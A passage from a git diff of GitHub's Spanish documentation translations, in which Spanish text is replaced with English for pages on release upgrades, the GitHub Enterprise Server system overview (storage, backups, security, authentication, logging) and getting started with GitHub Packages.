más información, consulta la sección "[Sincronizar acciones manualmente desde {% data variables.product.prodname_dotcom_the_website %}](/enterprise/admin/github-actions/manually-syncing-actions-from-githubcom)". +Alternatively, if you want stricter control over which actions are allowed in your enterprise, you can manually download and sync actions onto your enterprise instance using the `actions-sync` tool. For more information, see "[Manually syncing actions from {% data variables.product.prodname_dotcom_the_website %}](/enterprise/admin/github-actions/manually-syncing-actions-from-githubcom)." diff --git a/translations/es-ES/content/admin/overview/about-upgrades-to-new-releases.md b/translations/es-ES/content/admin/overview/about-upgrades-to-new-releases.md index 37f18df444..c9620caf9f 100644 --- a/translations/es-ES/content/admin/overview/about-upgrades-to-new-releases.md +++ b/translations/es-ES/content/admin/overview/about-upgrades-to-new-releases.md @@ -1,6 +1,6 @@ --- -title: Acerca de las mejoras a los nuevos lanzamientos -shortTitle: Acerca de las mejoras +title: About upgrades to new releases +shortTitle: About upgrades intro: '{% ifversion ghae %}Your enterprise on {% data variables.product.product_name %} is updated with the latest features and bug fixes on a regular basis by {% data variables.product.company_short %}.{% else %}You can benefit from new features and bug fixes for {% data variables.product.product_name %} by upgrading your enterprise to a newly released version.{% endif %}' versions: ghes: '*' @@ -11,25 +11,25 @@ topics: - Upgrades --- -{% data variables.product.product_name %} is constantly improving, with new functionality and bug fixes introduced through feature and patch releases. {% ifversion ghae %}{% data variables.product.prodname_ghe_managed %} es un servicio completamente administrado, así que {% data variables.product.company_short %} completa el proceso de mejora para tu empresa.{% endif %} +{% data variables.product.product_name %} is constantly improving, with new functionality and bug fixes introduced through feature and patch releases. {% ifversion ghae %}{% data variables.product.prodname_ghe_managed %} is a fully managed service, so {% data variables.product.company_short %} completes the upgrade process for your enterprise.{% endif %} -Feature releases include new functionality and feature upgrades and typically occur quarterly. {% ifversion ghae %}{% data variables.product.company_short %} will upgrade your enterprise to the latest feature release. Se te notificará previamente sobre cualquier tiempo de inactividad que se planee para tu empresa.{% endif %} +Feature releases include new functionality and feature upgrades and typically occur quarterly. {% ifversion ghae %}{% data variables.product.company_short %} will upgrade your enterprise to the latest feature release. You will be given advance notice of any planned downtime for your enterprise.{% endif %} {% ifversion ghes %} -Starting with {% data variables.product.prodname_ghe_server %} 3.0, all feature releases begin with at least one release candidate. Release candidates are proposed feature releases, with a complete feature set. Puede que haya errores o problemas en un lanzamiento candidato que solo pueden encontrarse mediante la retroalimentación de los clientes que actualmente utilizan {% data variables.product.product_name %}. +Starting with {% data variables.product.prodname_ghe_server %} 3.0, all feature releases begin with at least one release candidate. Release candidates are proposed feature releases, with a complete feature set. There may be bugs or issues in a release candidate which can only be found through feedback from customers actually using {% data variables.product.product_name %}. -Puedes obtener acceso a las últimas características si pruebas un candidato de lanzamiento tan pronto como esté disponible. Puedes actualizarte a un candidato de lanzamiento desde una versión compatible y puedes actualizar desde el candidato de lanzamiento a versiones posteriores cuando éstas se lancen. Deberías actualizar cualquier ambiente que ejecute un lanzamiento candidato tan pronto como dicho lanzamiento esté disponible en general. Para obtener más información, consulta la sección "[requisitos de actualización](/admin/enterprise-management/upgrade-requirements)". +You can get early access to the latest features by testing a release candidate as soon as the release candidate is available. You can upgrade to a release candidate from a supported version and can upgrade from the release candidate to later versions when released. You should upgrade any environment running a release candidate as soon as the release is generally available. For more information, see "[Upgrade requirements](/admin/enterprise-management/upgrade-requirements)." -Los candidatos de lanzamiento deben desplegarse en ambientes de montaje o de pruebas. Conforme pruebes un candidato de lanzamiento, por favor, proporciona retroalimentación contactando a soporte. Para obtener más información, consulta la sección "[Trabajar con {% data variables.contact.github_support %}](/admin/enterprise-support)". +Release candidates should be deployed on test or staging environments. As you test a release candidate, please provide feedback by contacting support. For more information, see "[Working with {% data variables.contact.github_support %}](/admin/enterprise-support)." -Utilizaremos tu retroalimentación para aplicar las correcciones de errores y cualquier otro cambio necesario para crear un lanzamiento productivo estable. Cada lanzamiento nuevo agrega correcciones de errores para los problemas de las versiones previas. Cuando el lanzamiento se encuentra listo para que se utilice en general, {% data variables.product.company_short %} publica un lanzamiento productivo estable. +We'll use your feedback to apply bug fixes and any other necessary changes to create a stable production release. Each new release candidate adds bug fixes for issues found in prior versions. When the release is ready for widespread adoption, {% data variables.product.company_short %} publishes a stable production release. {% endif %} {% warning %} -**Warning**: The upgrade to a new feature release will cause a few hours of downtime, during which none of your users will be able to use the enterprise. Puedes informar a tus usuarios sobre dicha inactividad si publicas una notificación de anuncio global utilizando la configuración de tu empresa o la API de REST. Para obtener más información, consulta las secciones "[Personalizar los mensajes de usuario en tu instancia](/admin/user-management/customizing-user-messages-on-your-instance#creating-a-global-announcement-banner)" y "[administración de {% data variables.product.prodname_enterprise %}](/rest/reference/enterprise-admin#announcements)". +**Warning**: The upgrade to a new feature release will cause a few hours of downtime, during which none of your users will be able to use the enterprise. You can inform your users about downtime by publishing a global announcement banner, using your enterprise settings or the REST API. For more information, see "[Customizing user messages on your instance](/admin/user-management/customizing-user-messages-on-your-instance#creating-a-global-announcement-banner)" and "[{% data variables.product.prodname_enterprise %} administration](/rest/reference/enterprise-admin#announcements)." {% endwarning %} @@ -37,12 +37,12 @@ Utilizaremos tu retroalimentación para aplicar las correcciones de errores y cu Patch releases, which consist of hot patches and bug fixes only, happen more frequently. Patch releases are generally available when first released, with no release candidates. Upgrading to a patch release typically requires less than five minutes of downtime. -Para mejorar tu empresa a un lanzamiento nuevo, consulta las secciones "[Notas de lanzamiento](/enterprise-server/admin/release-notes)" y "[Mejorar {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/upgrading-github-enterprise-server)". +To upgrade your enterprise to a new release, see "[Release notes](/enterprise-server/admin/release-notes)" and "[Upgrading {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/upgrading-github-enterprise-server)." {% endif %} -## Leer más +## Further reading -- [ {% data variables.product.prodname_roadmap %} ]({% data variables.product.prodname_roadmap_link %}) en el repositorio `github/roadmap`{% ifversion ghae %} -- [ {% data variables.product.prodname_ghe_managed %} notas de lanzamiento](/admin/release-notes) +- [ {% data variables.product.prodname_roadmap %} ]( {% data variables.product.prodname_roadmap_link %} ) in the `github/roadmap` repository{% ifversion ghae %} +- [ {% data variables.product.prodname_ghe_managed %} release notes](/admin/release-notes) {% endif %} diff --git a/translations/es-ES/content/admin/overview/system-overview.md b/translations/es-ES/content/admin/overview/system-overview.md index 51dcee14a1..90c87622f9 100644 --- a/translations/es-ES/content/admin/overview/system-overview.md +++ b/translations/es-ES/content/admin/overview/system-overview.md @@ -1,6 +1,6 @@ --- -title: Descripción del sistema -intro: 'El {% data variables.product.prodname_ghe_server %} es la copia privada de tu organización de {% data variables.product.prodname_dotcom %} contenida dentro de un aparato virtual, alojada localmente o en la nube, que configuras y controlas.' +title: System overview +intro: '{% data variables.product.prodname_ghe_server %} is your organization''s private copy of {% data variables.product.prodname_dotcom %} contained within a virtual appliance, hosted on premises or in the cloud, that you configure and control.' redirect_from: - /enterprise/admin/installation/system-overview - /enterprise/admin/overview/system-overview @@ -15,143 +15,143 @@ topics: - Storage --- -## Arquitectura de almacenamiento +## Storage architecture -El {% data variables.product.prodname_ghe_server %} requiere dos volúmenes de almacenamiento, uno instalado en la ruta del *sistema de archivos raíz* (`/`) y otro en la ruta del *sistema de archivos del usuario* (`/data/user`). Esta arquitectura simplifica los procedimientos de actualización, reversión y recuperación al separar el entorno del software que se ejecuta de los datos de aplicación persistentes. +{% data variables.product.prodname_ghe_server %} requires two storage volumes, one mounted to the *root filesystem* path (`/`) and the other to the *user filesystem* path (`/data/user`). This architecture simplifies the upgrade, rollback, and recovery procedures by separating the running software environment from persistent application data. -El sistema de archivos raíz está incluido en la imagen de máquina distribuida. Contiene el sistema operativo base y el entorno de aplicación {% data variables.product.prodname_ghe_server %}. El sistema de archivos raíz debería tratarse como efímero. Cualquier dato en el sistema de archivos raíz será reemplazado cuando se actualice con futuros lanzamientos del {% data variables.product.prodname_ghe_server %}. +The root filesystem is included in the distributed machine image. It contains the base operating system and the {% data variables.product.prodname_ghe_server %} application environment. The root filesystem should be treated as ephemeral. Any data on the root filesystem will be replaced when upgrading to future {% data variables.product.prodname_ghe_server %} releases. The root storage volume is split into two equally-sized partitions. One of the partitions will be mounted as the root filesystem (`/`). The other partition is only mounted during upgrades and rollbacks of upgrades as `/mnt/upgrade`, to facilitate easier rollbacks if necessary. For example, if a 200GB root volume is allocated, there will be 100GB allocated to the root filesystem and 100GB reserved for the upgrades and rollbacks. -El sistema de archivos raíz contiene: - - Los certificados de autoridad de certificación personalizados (CA) (en */usr/local/share/ca-certificates*) - - Las configuraciones de red personalizadas - - Las configuraciones de firewall personalizadas - - El estado de replicación +The root filesystem contains: + - Custom certificate authority (CA) certificates (in */usr/local/share/ca-certificates*) + - Custom networking configurations + - Custom firewall configurations + - The replication state -El sistema de archivos del usuario contiene la configuración y los datos del usuario, tales como: - - Repositorios Git - - Bases de datos - - Índices de búsqueda - - Contenido publicado en los sitios {% data variables.product.prodname_pages %} - - Archivos grandes de {% data variables.large_files.product_name_long %} - - Entornos de enlaces de pre-recepción +The user filesystem contains user configuration and data, such as: + - Git repositories + - Databases + - Search indexes + - Content published on {% data variables.product.prodname_pages %} sites + - Large files from {% data variables.large_files.product_name_long %} + - Pre-receive hook environments -## Opciones de implementación +## Deployment options -Puedes implementar {% data variables.product.prodname_ghe_server %} como un aparato virtual único, o en una configuración de alta disponibilidad. Para obtener más información, consulta "[Configurar el {% data variables.product.prodname_ghe_server %} para alta disponibilidad](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-github-enterprise-server-for-high-availability/)." +You can deploy {% data variables.product.prodname_ghe_server %} as a single virtual appliance, or in a high availability configuration. For more information, see "[Configuring {% data variables.product.prodname_ghe_server %} for High Availability](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-github-enterprise-server-for-high-availability/)." -Algunas organizaciones con decenas de miles de programadores podrían también beneficiarse de una Agrupación {% data variables.product.prodname_ghe_server %}. Para obtener más información, consulta "[Acerca de las agrupaciones](/enterprise/{{ currentVersion }}/admin/guides/clustering/about-clustering)." +Some organizations with tens of thousands of developers may also benefit from {% data variables.product.prodname_ghe_server %} Clustering. For more information, see "[About clustering](/enterprise/{{ currentVersion }}/admin/guides/clustering/about-clustering)." -## Retención de datos y redundancia de centro de datos +## Data retention and datacenter redundancy {% danger %} -Antes de usar {% data variables.product.prodname_ghe_server %} en un entorno de producción, recomendamos firmemente que configures copias de seguridad y un plan de recuperación ante desastres. Para obtener más información, consulta "[Configurar copias de seguridad en tu aparato](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-backups-on-your-appliance)". +Before using {% data variables.product.prodname_ghe_server %} in a production environment, we strongly recommend you set up backups and a disaster recovery plan. For more information, see "[Configuring backups on your appliance](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-backups-on-your-appliance)." {% enddanger %} -{% data variables.product.prodname_ghe_server %} incluye soporte para copias de seguridad en línea e incrementales con [{% data variables.product.prodname_enterprise_backup_utilities %}](https://github.com/github/backup-utils). Puedes tomar instantáneas incrementales sobre un enlace de red seguro (el puerto administrativo SSH) sobre grandes distancias para el almacenamiento externo o geográficamente disperso. Puedes restaurar instantáneas a través de la red en un nuevo aparato virtual recientemente aprovisionado al momento de la recuperación en el caso de un desastre en el centro de datos principal. +{% data variables.product.prodname_ghe_server %} includes support for online and incremental backups with the [{% data variables.product.prodname_enterprise_backup_utilities %}](https://github.com/github/backup-utils). You can take incremental snapshots over a secure network link (the SSH administrative port) over long distances for off-site or geographically dispersed storage. You can restore snapshots over the network into a newly provisioned appliance at time of recovery in case of disaster at the primary datacenter. -Además se admiten las copias de seguridad de red, las instantáneas de disco AWS (EBS) y VMware de los volúmenes de almacenamiento del usuario mientras que el aparato está fuera de línea o en modo mantenimiento. Las instantáneas de volumen regulares pueden usarse como una alternativa de bajo costo y baja complejidad para las copias de seguridad de red con {% data variables.product.prodname_enterprise_backup_utilities %} si tus requisitos de nivel de servicio permiten un mantenimiento fuera de línea regular. +In addition to network backups, both AWS (EBS) and VMware disk snapshots of the user storage volumes are supported while the appliance is offline or in maintenance mode. Regular volume snapshots can be used as a low-cost, low-complexity alternative to network backups with {% data variables.product.prodname_enterprise_backup_utilities %} if your service level requirements allow for regular offline maintenance. -Para obtener más información, consulta "[Configurar copias de seguridad en tu aparato](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-backups-on-your-appliance)". +For more information, see "[Configuring backups on your appliance](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-backups-on-your-appliance)." -## Seguridad +## Security -El {% data variables.product.prodname_ghe_server %} es un aparato virtual que se ejecuta en tu infraestructura y está gobernado por tus controles de seguridad de información existentes, como cortafuegos, IAM, monitoreo y VPN. Usar el {% data variables.product.prodname_ghe_server %} puede ayudarte a evitar problemas de cumplimiento regulatorio que surgen de las soluciones basadas en la nube. +{% data variables.product.prodname_ghe_server %} is a virtual appliance that runs on your infrastructure and is governed by your existing information security controls, such as firewalls, IAM, monitoring, and VPNs. Using {% data variables.product.prodname_ghe_server %} can help you avoid regulatory compliance issues that arise from cloud-based solutions. -El {% data variables.product.prodname_ghe_server %} también incluye características de seguridad adicionales. +{% data variables.product.prodname_ghe_server %} also includes additional security features. -- [Sistema operativo, software y parches](#operating-system-software-and-patches) -- [Seguridad de la red](#network-security) -- [Seguridad de la aplicación](#application-security) -- [Servicios externos y acceso de soporte](#external-services-and-support-access) -- [Comunicación encriptada](#encrypted-communication) -- [Usuarios y permisos de acceso](#users-and-access-permissions) -- [Autenticación](#authentication) -- [Auditoría y registro de acceso](#audit-and-access-logging) +- [Operating system, software, and patches](#operating-system-software-and-patches) +- [Network security](#network-security) +- [Application security](#application-security) +- [External services and support access](#external-services-and-support-access) +- [Encrypted communication](#encrypted-communication) +- [Users and access permissions](#users-and-access-permissions) +- [Authentication](#authentication) +- [Audit and access logging](#audit-and-access-logging) -### Sistema operativo, software y parches +### Operating system, software, and patches -El {% data variables.product.prodname_ghe_server %} ejecuta un sistema operativo Linux personalizado con las aplicaciones y los servicios necesarios únicamente. El {% data variables.product.prodname_dotcom %} gestiona el parche del sistema operativo central del aparato como parte de su ciclo estándar de lanzamiento de productos. Los parches abordan problemas de funcionalidad, de estabilidad y de seguridad no críticos para las aplicaciones de {% data variables.product.prodname_dotcom %}. {% data variables.product.prodname_dotcom %} también proporciona parches de seguridad críticos según se necesita fuera del ciclo de lanzamiento regular. +{% data variables.product.prodname_ghe_server %} runs a customized Linux operating system with only the necessary applications and services. {% data variables.product.prodname_dotcom %} manages patching of the appliance's core operating system as part of its standard product release cycle. Patches address functionality, stability, and non-critical security issues for {% data variables.product.prodname_dotcom %} applications. {% data variables.product.prodname_dotcom %} also provides critical security patches as needed outside of the regular release cycle. -{% data variables.product.prodname_ghe_server %} se proporciona como un aplicativo y muchos de los paquetes de los sistemas operativos se modifican en comparación con la distribución común de Debian. No ofrecemos compatibilidad con la modificación del sistema operativo subyacente por esta razón (incluyendo las mejoras de los sistemas operativos), lo cual se alinea con la [licencia de {% data variables.product.prodname_ghe_server %} y el acuerdo de soporte](https://enterprise.github.com/license), bajo las exclusiones de la sección 11.3. +{% data variables.product.prodname_ghe_server %} is provided as an appliance, and many of the operating system packages are modified compared to the usual Debian distribution. We do not support modifying the underlying operating system for this reason (including operating system upgrades), which is aligned with the [{% data variables.product.prodname_ghe_server %} license and support agreement](https://enterprise.github.com/license), under section 11.3 Exclusions. -Actualmente, la base del aplicativo de {% data variables.product.prodname_ghe_server %} es Debian 9 (Stretch) y recibe soporte bajo el programa de Soporte a Largo Plazo de Debian. Existen planes para migrarse a un sistema operativo base nuevo antes del final del periodo de Debian LTS para Stretch. +Currently, the base of the {% data variables.product.prodname_ghe_server %} appliance is Debian 9 (Stretch) and receives support under the Debian Long Term Support program. There are plans to move to a newer base operating system before the end of the Debian LTS period for Stretch. -Las actualizaciones de parche regulares se lanzan en la página de [lanzamientos](https://enterprise.github.com/releases) de {% data variables.product.prodname_ghe_server %} y la página de [notas de lanzamiento](/enterprise-server/admin/release-notes) proporciona más información sobre esto. Estos parches a menudo contienen un proveedor de nivel superior y parches de seguridad de proyecto después de que se prueban y que nuestro equipo de ingeniería aprueba su calidad. Puede haber una pequeña demora en tiempo desde cuando la actualización de nivel superior se lanza hasta cuando se prueba y se empaqueta en un lanzamiento de parche futuro de {% data variables.product.prodname_ghe_server %}. +Regular patch updates are released on the {% data variables.product.prodname_ghe_server %} [releases](https://enterprise.github.com/releases) page, and the [release notes](/enterprise-server/admin/release-notes) page provides more information. These patches typically contain upstream vendor and project security patches after they've been tested and quality approved by our engineering team. There can be a slight time delay from when the upstream update is released to when it's tested and bundled in an upcoming {% data variables.product.prodname_ghe_server %} patch release. -### Seguridad de la red +### Network security -El cortafuegos interno del {% data variables.product.prodname_ghe_server %} restringe el acceso de la red a los servicios del aparato. Están disponibles en la red únicamente los servicios necesarios para que el aparato funcione. Para obtener más información, consulta "[Puertos de red](/enterprise/{{ currentVersion }}/admin/guides/installation/network-ports)." +{% data variables.product.prodname_ghe_server %}'s internal firewall restricts network access to the appliance's services. Only services necessary for the appliance to function are available over the network. For more information, see "[Network ports](/enterprise/{{ currentVersion }}/admin/guides/installation/network-ports)." -### Seguridad de la aplicación +### Application security -El equipo de seguridad de la aplicación de {% data variables.product.prodname_dotcom %} se centra en la evaluación de vulnerabilidad, la prueba de penetración y la revisión del código para los productos de {% data variables.product.prodname_dotcom %} , incluido el {% data variables.product.prodname_ghe_server %}. {% data variables.product.prodname_dotcom %} también contrata firmas de seguridad externas para proporcionar evaluaciones de seguridad puntuales de los productos de {% data variables.product.prodname_dotcom %}. +{% data variables.product.prodname_dotcom %}'s application security team focuses full-time on vulnerability assessment, penetration testing, and code review for {% data variables.product.prodname_dotcom %} products, including {% data variables.product.prodname_ghe_server %}. {% data variables.product.prodname_dotcom %} also contracts with outside security firms to provide point-in-time security assessments of {% data variables.product.prodname_dotcom %} products. -### Servicios externos y acceso de soporte +### External services and support access -El {% data variables.product.prodname_ghe_server %} puede funcionar sin ningún acceso de salida de tu red a servicios externos. De forma opcional, puedes habilitar la integración con servicios externos para la entrega de correo electrónico, el monitoreo externo y el reenvío de bitácoras. Para obtener más información, consulta las secciones "[Configurar las notificaciones por correo electrónico](/admin/configuration/configuring-email-for-notifications)", "[Configurar el monitoreo externo](/enterprise/{{ currentVersion }}/admin/installation/setting-up-external-monitoring)", y "[Reenvío de bitácoras](/admin/user-management/log-forwarding)". +{% data variables.product.prodname_ghe_server %} can operate without any egress access from your network to outside services. You can optionally enable integration with external services for email delivery, external monitoring, and log forwarding. For more information, see "[Configuring email for notifications](/admin/configuration/configuring-email-for-notifications)," "[Setting up external monitoring](/enterprise/{{ currentVersion }}/admin/installation/setting-up-external-monitoring)," and "[Log forwarding](/admin/user-management/log-forwarding)." -Puedes recopilar y enviar manualmente datos de resolución de problemas a {% data variables.contact.github_support %}. Para obtener más información, consulta "[Proporcionar datos a {% data variables.contact.github_support %}](/enterprise/{{ currentVersion }}/admin/enterprise-support/providing-data-to-github-support)." +You can manually collect and send troubleshooting data to {% data variables.contact.github_support %}. For more information, see "[Providing data to {% data variables.contact.github_support %}](/enterprise/{{ currentVersion }}/admin/enterprise-support/providing-data-to-github-support)." -### Comunicación encriptada +### Encrypted communication -{% data variables.product.prodname_dotcom %} diseña {% data variables.product.prodname_ghe_server %} para ejecutar detrás de tu cortafuegos corporativo. Para asegurar la comunicación a través del cable, te alentamos a habilitar la seguridad de la capa de transporte (TLS). El {% data variables.product.prodname_ghe_server %} admite certificados TLS comerciales de 2048 bits y superiores para el tráfico HTTPS. Para obtener más información, consulta "[Configurar TLS](/enterprise/{{ currentVersion }}/admin/installation/configuring-tls)." +{% data variables.product.prodname_dotcom %} designs {% data variables.product.prodname_ghe_server %} to run behind your corporate firewall. To secure communication over the wire, we encourage you to enable Transport Layer Security (TLS). {% data variables.product.prodname_ghe_server %} supports 2048-bit and higher commercial TLS certificates for HTTPS traffic. For more information, see "[Configuring TLS](/enterprise/{{ currentVersion }}/admin/installation/configuring-tls)." -Por defecto, el aparato también ofrece acceso a Secure Shell (SSH) para el acceso al repositorio utilizando Git y con fines administrativos. Para obtener más información, consulta "[Acerca de SSH](/enterprise/user/articles/about-ssh)" y "[Acceder al shell administrativo (SSH)](/enterprise/{{ currentVersion }}/admin/installation/accessing-the-administrative-shell-ssh)." +By default, the appliance also offers Secure Shell (SSH) access for both repository access using Git and administrative purposes. For more information, see "[About SSH](/enterprise/user/articles/about-ssh)" and "[Accessing the administrative shell (SSH)](/enterprise/{{ currentVersion }}/admin/installation/accessing-the-administrative-shell-ssh)." -### Usuarios y permisos de acceso +### Users and access permissions -El {% data variables.product.prodname_ghe_server %} proporciona tres tipos de cuentas. +{% data variables.product.prodname_ghe_server %} provides three types of accounts. -- La cuenta de usuario de Linux del `administrador` ha controlado el acceso al sistema operativo subyacente, incluido el sistema de archivos directo y el acceso a la base de datos. Un pequeño conjunto de administradores de confianza debería tener acceso a esta cuenta, a la que pueden acceder por medio de SSH. Para obtener más información, consulta "[Acceder al shell administrativo (SSH)](/enterprise/{{ currentVersion }}/admin/installation/accessing-the-administrative-shell-ssh)." -- Las cuentas de usuario en la aplicación web del aparato tienen acceso completo a sus propios datos y a cualquier dato que otros usuarios u organizaciones concedan de manera explícita. -- Los administradores del sitio en la aplicación web del aparato son cuentas de usuario que pueden administrar los ajustes de aplicaciones web y de aparatos de alto nivel, la configuración de cuenta de usuario y de organización y los datos del repositorio. +- The `admin` Linux user account has controlled access to the underlying operating system, including direct filesystem and database access. A small set of trusted administrators should have access to this account, which they can access over SSH. For more information, see "[Accessing the administrative shell (SSH)](/enterprise/{{ currentVersion }}/admin/installation/accessing-the-administrative-shell-ssh)." +- User accounts in the appliance's web application have full access to their own data and any data that other users or organizations explicitly grant. +- Site administrators in the appliance's web application are user accounts that can manage high-level web application and appliance settings, user and organization account settings, and repository data. -Para más información sobre los permisos de usuario del {% data variables.product.prodname_ghe_server %}, consulta "[Permisos de acceso en GitHub](/enterprise/user/articles/access-permissions-on-github)." +For more information about {% data variables.product.prodname_ghe_server %}'s user permissions, see "[Access permissions on GitHub](/enterprise/user/articles/access-permissions-on-github)." -### Autenticación +### Authentication -El {% data variables.product.prodname_ghe_server %} proporciona cuatro métodos de autenticación. +{% data variables.product.prodname_ghe_server %} provides four authentication methods. -- La autenticación de claves públicas SSH proporciona acceso del repositorio usando Git y el shell administrativo. Para obtener más información, consulta "[Acerca de SSH](/enterprise/user/articles/about-ssh)" y "[Acceder al shell administrativo (SSH)](/enterprise/{{ currentVersion }}/admin/installation/accessing-the-administrative-shell-ssh)." -- El nombre de usuario y la autenticación de contraseña con cookies HTTP proporciona acceso a la aplicación web y la gestión de sesiones, con autenticación opcional de dos factores (2FA). Para obtener más información, consulta "[Usar la autenticación incorporada](/enterprise/{{ currentVersion }}/admin/user-management/using-built-in-authentication)." -- La autenticación externa LDAP, SAML o CAS mediante un servicio LDAP, SAML Identity Provider (IdP) u otro servicio compatible proporciona acceso a la aplicación web. Para más información, consulta "[Autenticar usuarios para tu instancia de servidor de GitHub Enterprise](/enterprise/{{ currentVersion }}/admin/user-management/authenticating-users-for-your-github-enterprise-server-instance)." -- OAuth y los token de acceso personal proporcionan acceso a los datos del repositorio de Git y a API para clientes externos y servicios. Para obtener más información, consulta la sección "[Crear un token de acceso personal](/github/authenticating-to-github/creating-a-personal-access-token)". +- SSH public key authentication provides both repository access using Git and administrative shell access. For more information, see "[About SSH](/enterprise/user/articles/about-ssh)" and "[Accessing the administrative shell (SSH)](/enterprise/{{ currentVersion }}/admin/installation/accessing-the-administrative-shell-ssh)." +- Username and password authentication with HTTP cookies provides web application access and session management, with optional two-factor authentication (2FA). For more information, see "[Using built-in authentication](/enterprise/{{ currentVersion }}/admin/user-management/using-built-in-authentication)." +- External LDAP, SAML, or CAS authentication using an LDAP service, SAML Identity Provider (IdP), or other compatible service provides access to the web application. For more information, see "[Authenticating users for your GitHub Enterprise Server instance](/enterprise/{{ currentVersion }}/admin/user-management/authenticating-users-for-your-github-enterprise-server-instance)." +- OAuth and Personal Access Tokens provide access to Git repository data and APIs for both external clients and services. For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)." -### Auditoría y registro de acceso +### Audit and access logging -El {% data variables.product.prodname_ghe_server %} almacena tanto registros tradicionales de sistema operativo como de aplicación. La aplicación también escribe registros de auditoría y de seguridad detallados, que el {% data variables.product.prodname_ghe_server %} almacena de forma permanente. Puedes reenviar ambos tipos de bitácoras en tiempo real a varios destinos a través del protocolo `syslog-ng`. Para obtener más información, consulta la sección "[Reenvío de bitácoras](/admin/user-management/log-forwarding)". +{% data variables.product.prodname_ghe_server %} stores both traditional operating system and application logs. The application also writes detailed auditing and security logs, which {% data variables.product.prodname_ghe_server %} stores permanently. You can forward both types of logs in real time to multiple destinations via the `syslog-ng` protocol. For more information, see "[Log forwarding](/admin/user-management/log-forwarding)." -Los registros de acceso y de auditoría incluyen información como la siguiente. +Access and audit logs include information like the following. -#### Registros de acceso +#### Access logs -- Registros completos de servidor web tanto para el navegador como para el acceso a la API -- Registros completos para acceder a los datos del repositorio por medio de protocolos Git, HTTPS y SSH -- Registros de acceso administrativo por medio de HTTPS y SSH +- Full web server logs for both browser and API access +- Full logs for access to repository data over Git, HTTPS, and SSH protocols +- Administrative access logs over HTTPS and SSH -#### Registros de auditoría +#### Audit logs -- Inicios de sesión del usuario, restablecimientos de contraseña, solicitudes 2FA, cambios en la configuración del correo electrónico y cambios en aplicaciones autorizadas y API -- Acciones de administrador del sitio, como desbloquear cuentas de usuario y repositorios -- Eventos push de repositorio, permisos de acceso, transferencias y renombres -- Cambios de membresía de la organización, incluida la creación y la destrucción de equipo +- User logins, password resets, 2FA requests, email setting changes, and changes to authorized applications and APIs +- Site administrator actions, such as unlocking user accounts and repositories +- Repository push events, access grants, transfers, and renames +- Organization membership changes, including team creation and destruction -## Dependencias de código abierto para {% data variables.product.prodname_ghe_server %} +## Open source dependencies for {% data variables.product.prodname_ghe_server %} -Puedes consultar una lista completa de dependencias en la versión de tu aparato de {% data variables.product.prodname_ghe_server %}, y la licencia de cada proyecto, en `http(s)://HOSTNAME/site/credits`. +You can see a complete list of dependencies in your appliance's version of {% data variables.product.prodname_ghe_server %}, as well as each project's license, at `http(s)://HOSTNAME/site/credits`. -Están disponibles en tu aparato los tarballes con una lista completa de dependencias y metadatos asociados: -- Para conocer las dependencias comunes a todas las plataformas, ingresa en `/usr/local/share/enterprise/dependencies--base.tar.gz`. -- Para conocer las dependencias específicas de una plataforma, ingresa en `/usr/local/share/enterprise/dependencies--.tar.gz`. +Tarballs with a full list of dependencies and associated metadata are available on your appliance: +- For dependencies common to all platforms, at `/usr/local/share/enterprise/dependencies--base.tar.gz` +- For dependencies specific to a platform, at `/usr/local/share/enterprise/dependencies--.tar.gz` -También están disponibles los tarballes, con una lista completa de las dependencias y los metadatos, en `https://enterprise.github.com/releases//download.html`. +Tarballs are also available, with a full list of dependencies and metadata, at `https://enterprise.github.com/releases//download.html`. -## Leer más +## Further reading -- "[Configurar una prueba de {% data variables.product.prodname_ghe_server %}](/articles/setting-up-a-trial-of-github-enterprise-server)" -- "[Configurar una instancia del {% data variables.product.prodname_ghe_server %}](/enterprise/{{ currentVersion }}/admin/guides/installation/setting-up-a-github-enterprise-server-instance)" -- [ {% data variables.product.prodname_roadmap %} ]({% data variables.product.prodname_roadmap_link %}) en el repositorio `github/roadmap` +- "[Setting up a trial of {% data variables.product.prodname_ghe_server %}](/articles/setting-up-a-trial-of-github-enterprise-server)" +- "[Setting up a {% data variables.product.prodname_ghe_server %} instance](/enterprise/{{ currentVersion }}/admin/guides/installation/setting-up-a-github-enterprise-server-instance)" +- [ {% data variables.product.prodname_roadmap %} ]( {% data variables.product.prodname_roadmap_link %} ) in the `github/roadmap` repository diff --git a/translations/es-ES/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md b/translations/es-ES/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md index cb0e762d70..6ed8568fa1 100644 --- a/translations/es-ES/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md +++ b/translations/es-ES/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md @@ -1,7 +1,7 @@ --- -title: Iniciar con GitHub Packages para tu empresa -shortTitle: Comenzar con los Paquetes de GitHub -intro: 'Puedes comenzar a utilizar el {% data variables.product.prodname_registry %} en {% data variables.product.product_location %} si habilitas esta característica, configurando un almacenamiento de terceros, configurando los ecosistemas que quieras que sea compatibles y actualizando tu certificado TLS.' +title: Getting started with GitHub Packages for your enterprise +shortTitle: Getting started with GitHub Packages +intro: 'You can start using {% data variables.product.prodname_registry %} on {% data variables.product.product_location %} by enabling the feature, configuring third-party storage, configuring the ecosystems you want to support, and updating your TLS certificate.' redirect_from: - /enterprise/admin/packages/enabling-github-packages-for-your-enterprise - /admin/packages/enabling-github-packages-for-your-enterprise @@ -16,28 +16,28 @@ topics: {% data reusables.package_registry.packages-cluster-support %} -## Paso 1: Habilita el {% data variables.product.prodname_registry %} y configura el almacenamiento externo +## Step 1: Enable {% data variables.product.prodname_registry %} and configure external storage -{% data variables.product.prodname_registry %} en {% data variables.product.prodname_ghe_server %} utiliza almacenamiento externo de blobs para almacenar tus paquetes. +{% data variables.product.prodname_registry %} on {% data variables.product.prodname_ghe_server %} uses external blob storage to store your packages. -Después de habilitar el {% data variables.product.prodname_registry %} para {% data variables.product.product_location %}, necesitarás preparar tu bucket de almacenamiento de terceros. La cantidad de almacenamiento que requieras dependerá de tu uso del {% data variables.product.prodname_registry %}, y los lineamientos de configuración podrán variar dependiendo del proveedor de almacenamiento. +After enabling {% data 